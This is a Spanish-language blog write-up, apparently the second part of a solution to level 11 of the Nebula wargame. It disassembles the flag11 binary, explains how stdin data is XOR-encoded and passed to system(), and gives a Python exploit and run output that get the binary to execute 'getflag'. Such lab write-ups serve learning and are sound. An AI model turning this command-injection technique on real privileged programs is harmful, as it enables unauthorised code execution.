Segundo asalto para el binario
./flag11
. Si el entero introducido junto con la cabecera Content-Length
es superior o igual a 1024, alcanzamos el siguiente fragmento de código:
| | 0x08048b54 mov eax, dword [local_3ch] ; [0x3c:4]=-1 ; '<' ; 60
| | 0x08048b58 mov dword [local_38h], eax
| | 0x08048b5c lea eax, [local_34h] ; 0x34 ; '4' ; 52
| | 0x08048b60 mov dword [esp], eax
| | 0x08048b63 call sym.getrand
Se produce una llamada a la función local
getrand()
, no mostraré aquí el desensamblado completo, solo las llamadas de sistema que esta realiza:
sym.getrand (char **path);
0x08048824 call sym.imp.time ; time_t time(time_t *timer)
0x0804882c call sym.imp.srandom
0x08048831 mov dword [esp], str.TEMP ; [0x8048d80:4]=0x504d4554 ; "TEMP" ; const char *name
0x08048838 call sym.imp.getenv ; char *getenv(const char *name)
0x08048840 call sym.imp.getpid ; int getpid(void)
0x080488a2 call sym.imp.random
"%s/%d.%c%c%c%c%c%c"
0x0804898a call sym.imp.asprintf
0x080489a7 call sym.imp.open ; int open(const char *path, int oflag)
0x080489b7 call sym.imp.unlink ; int unlink(const char *path)
Es una versión muy reducida, pero se intuye perfectamente su cometido y podemos hacer un pseudocódigo superficial:
getrand(**path)
{
time()
srandom()
getenv("TEMP")
[llamadas a random() y operaciones que producen 6 bytes aleatorios]
asprintf(path, "%s/%d.%c%c%c%c%c%c")
open()
unlink()
}
La secuencia
open() - unlink()
, es una forma muy habitual de crear un archivo temporal que desaparece cuando la aplicación finaliza. Ahora comienza un bucle importante:
| | 0x08048b68 mov dword [fd], eax
| |,=< 0x08048b6c jmp 0x8048c1d
| || ; CODE XREF from main (0x8048c22)
| .---> 0x08048b71 mov eax, str.blue____d__length____d ; 0x8048dd8 ; "blue = %d, length = %d, "
| :|| 0x08048b76 mov edx, dword [local_3ch] ; [0x3c:4]=-1 ; '<' ; 60
| :|| 0x08048b7a mov dword [nbytes], edx
| :|| 0x08048b7e mov edx, dword [local_38h] ; [0x38:4]=-1 ; '8' ; 56
| :|| 0x08048b82 mov dword [size], edx
| :|| 0x08048b86 mov dword [esp], eax ; const char *format
| :|| 0x08048b89 call sym.imp.printf ; int printf(const char *format)
Primero se llama a:
printf("blue = %d, length = %d, ", local_38_h, length);
Donde
blue
representa los bytes que todavía quedan por leer y length
el entero indicado en la cabecera Content-Length
.
| :|| 0x08048b8e mov eax, dword [sym.stdin] ; obj.stdin ; [0x804a068:4]=0
| :|| 0x08048b93 mov edx, eax
| :|| 0x08048b95 lea eax, [ptr] ; 0x4c ; 'L' ; 76
| :|| 0x08048b99 mov dword [local_ch], edx ; FILE *stream
| :|| 0x08048b9d mov dword [nbytes], 0x400 ; [0x400:4]=-1 ; 1024 ; size_t nmemb
| :|| 0x08048ba5 mov dword [size], 1 ; size_t size
| :|| 0x08048bad mov dword [esp], eax ; void *ptr
| :|| 0x08048bb0 call sym.imp.fread ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
| :|| 0x08048bb5 mov dword [local_44h], eax
| :|| 0x08048bb9 mov eax, str.pink____d ; 0x8048df1 ; "pink = %d\n"
| :|| 0x08048bbe mov edx, dword [local_44h] ; [0x44:4]=-1 ; 'D' ; 68
| :|| 0x08048bc2 mov dword [size], edx
| :|| 0x08048bc6 mov dword [esp], eax ; const char *format
| :|| 0x08048bc9 call sym.imp.printf ; int printf(const char *format)
fread()
intenta leer 1024 bytes desde stdin
e imprime el resultado en:
printf("pink = %d\n", fread_ret);
A continuación se realiza un chequeo de errores, y si todo va bien, se efectúa una llamada a
write()
:
| :|| 0x08048bce cmp dword [local_44h], 0
| ,====< 0x08048bd3 jg 0x8048bf9
| |:|| 0x08048bd5 mov eax, dword [local_3ch] ; [0x3c:4]=-1 ; '<' ; 60
| |:|| 0x08048bd9 mov dword [local_ch], eax
| |:|| 0x08048bdd mov eax, dword [local_38h] ; [0x38:4]=-1 ; '8' ; 56
| |:|| 0x08048be1 mov dword [nbytes], eax
| |:|| 0x08048be5 mov dword [size], str.fread_fail_blue____d__length____d ; [0x8048dfc:4]=0x61657266 ; "fread fail(blue = %d, length = %d)"
| |:|| 0x08048bed mov dword [esp], 1
| |:|| 0x08048bf4 call sym.imp.err
| |:|| ; CODE XREF from main (0x8048bd3)
| `----> 0x08048bf9 mov eax, dword [local_44h] ; [0x44:4]=-1 ; 'D' ; 68
| :|| 0x08048bfd mov dword [nbytes], eax ; size_t nbytes
| :|| 0x08048c01 lea eax, [ptr] ; 0x4c ; 'L' ; 76
| :|| 0x08048c05 mov dword [size], eax ; void *ptr
| :|| 0x08048c09 mov eax, dword [fd] ; [0x40:4]=-1 ; '@' ; 64
| :|| 0x08048c0d mov dword [esp], eax ; int fd
| :|| 0x08048c10 call sym.imp.write ; ssize_t write(int fd, void *ptr, size_t nbytes)
write()
se invoca sobre el fichero temporal creado por getrand()
, y en él se escriben todos los datos leídos previamente por fread()
. Sigamos:
| :|| 0x08048c15 mov eax, dword [local_44h] ; [0x44:4]=-1 ; 'D' ; 68
| :|| 0x08048c19 sub dword [local_38h], eax
| :|| ; CODE XREF from main (0x8048b6c)
| :|`-> 0x08048c1d cmp dword [local_38h], 0
| `===< 0x08048c22 jg 0x8048b71
El bucle se repite hasta que no quedan más bytes por leer. Finalmente:
| | 0x08048c28 mov eax, dword [local_3ch] ; [0x3c:4]=-1 ; '<' ; 60
| | 0x08048c2c mov dword [local_14h], 0
| | 0x08048c34 mov edx, dword [fd] ; [0x40:4]=-1 ; '@' ; 64
| | 0x08048c38 mov dword [local_10h], edx
| | 0x08048c3c mov dword [local_ch], 2
| | 0x08048c44 mov dword [nbytes], 3
| | 0x08048c4c mov dword [size], eax
| | 0x08048c50 mov dword [esp], 0
| | 0x08048c57 call sym.imp.mmap
| | 0x08048c5c mov dword [local_48h], eax
| | 0x08048c60 cmp dword [local_48h], 0xffffffffffffffff
| |,=< 0x08048c65 jne 0x8048c7b
| || 0x08048c67 mov dword [size], str.mmap ; [0x8048e1f:4]=0x70616d6d ; "mmap"
| || 0x08048c6f mov dword [esp], 1
| || 0x08048c76 call sym.imp.err
| || ; CODE XREF from main (0x8048c65)
| |`-> 0x08048c7b mov eax, dword [local_3ch] ; [0x3c:4]=-1 ; '<' ; 60
| | 0x08048c7f mov dword [size], eax
| | 0x08048c83 mov eax, dword [local_48h] ; [0x48:4]=-1 ; 'H' ; 72
| | 0x08048c87 mov dword [esp], eax
| | 0x08048c8a call sym.process
Se llama a
mmap()
para mapear el archivo temporal recientemente creado en memoria. El puntero devuelto, junto con la longitud proporcionada por el usuario en la cabecera, se pasan a process()
, que realizará el algoritmo de cifrado e invocará a system()
con el resultado. Un pseudocódigo podría ser el siguiente:
fd = getrand(&path);
rest = length;
while (rest > 0)
printf("blue = %d, length = %d, ", rest, length);
readed = fread(ptr, 1, 1024, stdin);
printf("pink = %d\n", readed);
if (readed <= 0)
err("fail");
write(fd, ptr, readed);
rest -= readed;
}
addr = (char *)mmap(NULL, length, 0x03, 0x02, fd, 0);
process(addr, length);
No hay nada misterioso en todo el análisis, se lee de la entrada estándar tantos bytes como los indicados en el header
Content-Length
, se mapean en memoria, se cifran y se pasa el resultado a system()
. Podemos hacer un script en Python que emule a process()
y utilizar el resultado como entrada para ./flag11
:
def process(string, length):
res = ""
key = length & 0xff
for i in range(len(string)):
res += chr((ord(string[i]) ^ key) & 0xff)
key -= ord(string[i]) & 0xff
return res
def exploit():
header = "Content-Length: "
length = 1024
cmd = "getflag\x00"
cmd += "A" * (length - len(cmd))
print(header + str(length) + "\n" + process(cmd, length))
if __name__ == "__main__":
exploit()
El resultado:
level11@nebula:/home/flag11$ python /tmp/l11_exploit.py | ./flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count
Pwned!
Nota: En la primera parte de este reto explicamos por qué
Nota: En la primera parte de este reto explicamos por qué
getflag
no se ejecuta con los permisos del usuario flag11.
No hay comentarios:
Publicar un comentario